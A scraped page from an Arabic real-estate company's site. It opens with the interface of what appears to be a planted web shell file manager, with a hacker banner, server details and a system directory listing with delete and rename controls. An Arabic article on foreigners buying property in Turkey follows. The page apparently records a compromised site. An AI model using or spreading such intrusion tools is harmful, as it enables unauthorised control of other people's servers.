Hell Yeah Pointer 4 
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 22:42:14
curdir: / / usr / lib64 / python3.6 / encodings / [ GO Home ]

Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2025-12-03 11:10:56 0755
.. 12288 2025-12-03 11:10:56 0755
__init__.py 5642 2018-12-24 00:37:14 0644
__pycache__ 28672 2025-12-03 11:10:56 0755
aliases.py 15577 2018-12-24 00:37:14 0644
ascii.py 1248 2018-12-24 00:37:14 0644
base64_codec.py 1533 2018-12-24 00:37:14 0644
big5.py 1019 2018-12-24 00:37:14 0644
big5hkscs.py 1039 2018-12-24 00:37:14 0644
bz2_codec.py 2249 2018-12-24 00:37:14 0644
charmap.py 2084 2018-12-24 00:37:14 0644
cp037.py 13121 2018-12-24 00:37:14 0644
cp1006.py 13568 2018-12-24 00:37:14 0644
cp1026.py 13113 2018-12-24 00:37:14 0644
cp1125.py 34597 2018-12-24 00:37:14 0644
cp1140.py 13105 2018-12-24 00:37:14 0644
cp1250.py 13686 2018-12-24 00:37:14 0644
cp1251.py 13361 2018-12-24 00:37:14 0644
cp1252.py 13511 2018-12-24 00:37:14 0644
cp1253.py 13094 2018-12-24 00:37:14 0644
cp1254.py 13502 2018-12-24 00:37:14 0644
cp1255.py 12466 2018-12-24 00:37:14 0644
cp1256.py 12814 2018-12-24 00:37:14 0644
cp1257.py 13374 2018-12-24 00:37:14 0644
cp1258.py 13364 2018-12-24 00:37:14 0644
cp273.py 14132 2018-12-24 00:37:14 0644
cp424.py 12055 2018-12-24 00:37:14 0644
cp437.py 34564 2018-12-24 00:37:14 0644
cp500.py 13121 2018-12-24 00:37:14 0644
cp65001.py 1106 2018-12-24 00:37:14 0644
cp720.py 13686 2018-12-24 00:37:14 0644
cp737.py 34681 2018-12-24 00:37:14 0644
cp775.py 34476 2018-12-24 00:37:14 0644
cp850.py 34105 2018-12-24 00:37:14 0644
cp852.py 35002 2018-12-24 00:37:14 0644
cp855.py 33850 2018-12-24 00:37:14 0644
cp856.py 12423 2018-12-24 00:37:14 0644
cp857.py 33908 2018-12-24 00:37:14 0644
cp858.py 34015 2018-12-24 00:37:14 0644
cp860.py 34681 2018-12-24 00:37:14 0644
cp861.py 34633 2018-12-24 00:37:14 0644
cp862.py 33370 2018-12-24 00:37:14 0644
cp863.py 34252 2018-12-24 00:37:14 0644
cp864.py 33663 2018-12-24 00:37:14 0644
cp865.py 34618 2018-12-24 00:37:14 0644
cp866.py 34396 2018-12-24 00:37:14 0644
cp869.py 32965 2018-12-24 00:37:14 0644
cp874.py 12595 2018-12-24 00:37:14 0644
cp875.py 12854 2018-12-24 00:37:14 0644
cp932.py 1023 2018-12-24 00:37:14 0644
cp949.py 1023 2018-12-24 00:37:14 0644
cp950.py 1023 2018-12-24 00:37:14 0644
euc_jis_2004.py 1051 2018-12-24 00:37:14 0644
euc_jisx0213.py 1051 2018-12-24 00:37:14 0644
euc_jp.py 1027 2018-12-24 00:37:14 0644
euc_kr.py 1027 2018-12-24 00:37:14 0644
gb18030.py 1031 2018-12-24 00:37:14 0644
gb2312.py 1027 2018-12-24 00:37:14 0644
gbk.py 1015 2018-12-24 00:37:14 0644
hex_codec.py 1508 2018-12-24 00:37:14 0644
hp_roman8.py 13475 2018-12-24 00:37:14 0644
hz.py 1011 2018-12-24 00:37:14 0644
idna.py 9098 2025-08-26 11:58:55 0644
iso2022_jp.py 1053 2018-12-24 00:37:14 0644
iso2022_jp_1.py 1061 2018-12-24 00:37:14 0644
iso2022_jp_2.py 1061 2018-12-24 00:37:14 0644
iso2022_jp_2004.py 1073 2018-12-24 00:37:14 0644
iso2022_jp_3.py 1061 2018-12-24 00:37:14 0644
iso2022_jp_ext.py 1069 2018-12-24 00:37:14 0644
iso2022_kr.py 1053 2018-12-24 00:37:14 0644
iso8859_1.py 13176 2018-12-24 00:37:14 0644
iso8859_10.py 13589 2018-12-24 00:37:14 0644
iso8859_11.py 12335 2018-12-24 00:37:14 0644
iso8859_13.py 13271 2018-12-24 00:37:14 0644
iso8859_14.py 13652 2018-12-24 00:37:14 0644
iso8859_15.py 13212 2018-12-24 00:37:14 0644
iso8859_16.py 13557 2018-12-24 00:37:14 0644
iso8859_2.py 13404 2018-12-24 00:37:14 0644
iso8859_3.py 13089 2018-12-24 00:37:14 0644
iso8859_4.py 13376 2018-12-24 00:37:14 0644
iso8859_5.py 13015 2018-12-24 00:37:14 0644
iso8859_6.py 10833 2018-12-24 00:37:14 0644
iso8859_7.py 12844 2018-12-24 00:37:14 0644
iso8859_8.py 11036 2018-12-24 00:37:14 0644
iso8859_9.py 13156 2018-12-24 00:37:14 0644
johab.py 1023 2018-12-24 00:37:14 0644
koi8_r.py 13779 2018-12-24 00:37:14 0644
koi8_t.py 13193 2018-12-24 00:37:14 0644
koi8_u.py 13762 2018-12-24 00:37:14 0644
kz1048.py 13723 2018-12-24 00:37:14 0644
latin_1.py 1264 2018-12-24 00:37:14 0644
mac_arabic.py 36467 2018-12-24 00:37:14 0644
mac_centeuro.py 14102 2018-12-24 00:37:14 0644
mac_croatian.py 13633 2018-12-24 00:37:14 0644
mac_cyrillic.py 13454 2018-12-24 00:37:14 0644
mac_farsi.py 15170 2018-12-24 00:37:14 0644
mac_greek.py 13721 2018-12-24 00:37:14 0644
mac_iceland.py 13498 2018-12-24 00:37:14 0644
mac_latin2.py 14118 2018-12-24 00:37:14 0644
mac_roman.py 13480 2018-12-24 00:37:14 0644
mac_romanian.py 13661 2018-12-24 00:37:14 0644
mac_turkish.py 13513 2018-12-24 00:37:14 0644
mbcs.py 1211 2018-12-24 00:37:14 0644
oem.py 1019 2018-12-24 00:37:14 0644
palmos.py 13519 2018-12-24 00:37:14 0644
ptcp154.py 14015 2018-12-24 00:37:14 0644
punycode.py 6881 2018-12-24 00:37:14 0644
quopri_codec.py 1525 2018-12-24 00:37:14 0644
raw_unicode_escape.py 1208 2018-12-24 00:37:14 0644
rot_13.py 2438 2018-12-24 00:37:14 0755
shift_jis.py 1039 2018-12-24 00:37:14 0644
shift_jis_2004.py 1059 2018-12-24 00:37:14 0644
shift_jisx0213.py 1059 2018-12-24 00:37:14 0644
tis_620.py 12300 2018-12-24 00:37:14 0644
undefined.py 1299 2018-12-24 00:37:14 0644
unicode_escape.py 1184 2018-12-24 00:37:14 0644
unicode_internal.py 1196 2018-12-24 00:37:14 0644
utf_16.py 5236 2018-12-24 00:37:14 0644
utf_16_be.py 1037 2018-12-24 00:37:14 0644
utf_16_le.py 1037 2018-12-24 00:37:14 0644
utf_32.py 5129 2018-12-24 00:37:14 0644
utf_32_be.py 930 2018-12-24 00:37:14 0644
utf_32_le.py 930 2018-12-24 00:37:14 0644
utf_7.py 946 2018-12-24 00:37:14 0644
utf_8.py 1005 2018-12-24 00:37:14 0644
utf_8_sig.py 4133 2018-12-24 00:37:14 0644
uu_codec.py 2721 2018-12-24 00:37:14 0644
zlib_codec.py 2204 2018-12-24 00:37:14 0644
مجموعة كريم - تملك العقارات في تركيا

تملك العقارات في تركيا

Blog Details

تملك العقارات في تركيا

تعيش تركيا حياة مستقرة وآمنة منذ عقدين من الزمن، وبدت تحرز تقدما ملحوظا في كافة المجالات، مثل السياحة والتجارة، ومن أهمها السوق العقاري الذي يشهد ثورة كبيرة، وهذا ما جعلها من أهم البلدان تطورا في الآونة الأخيرة، وأصبحت منافسة للكثير من الدول الأجنبية، ومن هذا المنطلق، اتجه العديد من الأجانب والعرب الراغبين في التملك بدولة غير دولتهم الأم إلى تركيا.

لذا سنقدم في هذه المقالة لمحة عن العقارات في تركيا، وما هي الجنسيات التي لا تستطيع التملك في تركيا.

 

ما هو مبدأ المعاملة بالمثل؟

إن قانون السجل العقاري يمكن لمواطني 183 دولة في العالم بأن يتملكوا في تركيا، وذلك بهدف تنمية اقتصاد الدولة، وزيادة في الاستثمار على أراضيها، ولكن هناك بعض الدول، لا يمكنها التملك بشكل مباشر بسبب مبدأ المعاملة بالمثل، ويعرف هذا المصطلح بأنه مبدأ يقوم بتحديد الامتيازات والفوائد أو العقوبات التي تمنحها الدول للمواطنين، أو الدوائر الرسمية في دولة ما، على أن تحصل على امتيازات مماثلة لها بالمقابل.

 

ما هي الدول التي تخضع لمبدأ المعاملة بالمثل؟

سوريا – أرمينيا – كوريا الشمالية – كوبا – قبرص اليونانية.

 

ما هي شروط تملك العقارات في تركيا؟

  • المساحة أقل من 30 هكتار

من شروط التملك العقاري في تركيا أن لا تزيد المساحة المملوكة عن ثلاثين هكتار من العقارات، أو عشرة بالمئة من مجموع مساحة المنطقة، ويستطيع المالك أن يقوم بإبرام الحقوق العينية في تلك المساحة.

  • أن لا تكون ضمن المناطق المحظورة

يوجد في تركيا بعض المناطق التي يمنع التملك بها، وتكون هذه المناطق إما مناطق أمنية، أو مناطق عسكرية.

 

ما هي الوثائق المطلوبة لتملك عقاري في تركيا؟

  • وثيقة السجل العقاري، مع وثيقة التقييم العقاري.
  • صورة شخصية للمشتري أو ورقة الوكالة الرسمية.
  • الرقم الضريبي.
  • صورة شخصية للبائع.
  • في حال تم الاقتراض من البنك يجب الحصول على الوثائق التي توضح ذلك.
  • وثيقة تأمين ضد الزلازل.

 

مميزات التملك في تركيا للأجانب

  • الحصول على الإقامة العقارية في تركيا
  • الحصول على فرصة التقديم على الجنسية التركية التي تؤهلك للحصول على الجواز السفري التركي القوي عالميا.
  • تسهيل الكثير من المعاملات بحكم التملك.
  • فتح الطريق للمستثمرين في ربط استثماراتهم بين الداخل والخارج.
  • عائد استثماري مربح في حال كان هدف التملك هو الاستثمار العقاري في تركيا.
  • تكاليف معيشية منخفضة مقارنة بالدول الأوربية.

 

ما هي طريقة استخراج سند الملكية في تركيا؟

  • تأكد من تقييد سند الملكية في السجل العقاري

إن تسجيل العقار بسند ملكية نظامي ومعترف عليه في السجل العقاري، هو ضمان أساسي لحفظ حقوقك في كونك مالك لهذا العقار، لذا قبل الشروع بإتمام الصفقة العقارية، يفضل أن تتأكد من تقييد سند ملكية العقار أصولا في الدوائر المختصة خشية أن يكون احتيال عقاري.

  • التأكد من عدم وجود حجز أو رهن أو مصادرة على العقار

يتم ذلك من خلال مراجعة دائرة الطابو، والتأكد من نظافة سجل العقار من وجود حجز أو رهن عليه، أو وجود قرار مصادرة أو أي مشكلة أخرى قد تشكل خطورة على نقل ملكية العقار من شخص إلى شخص آخر.

  • التأكد من إتمام جميع الأوراق والوثائق

قبل التوجه إلى دائرة الطابو لتثبيت ملكية عقارك الجديد عليك أن تتأكد من إتمام جميع الأوراق والوثائق التي هي: استخراج الرقم الضريبي – التأكد من صحة معلومات سند الطابو – إتمام عملية البيع بوجود المشتري أو الوكيل عنه – دفع رسوم الطابو في تركيا.

أحدث المقالات القانونية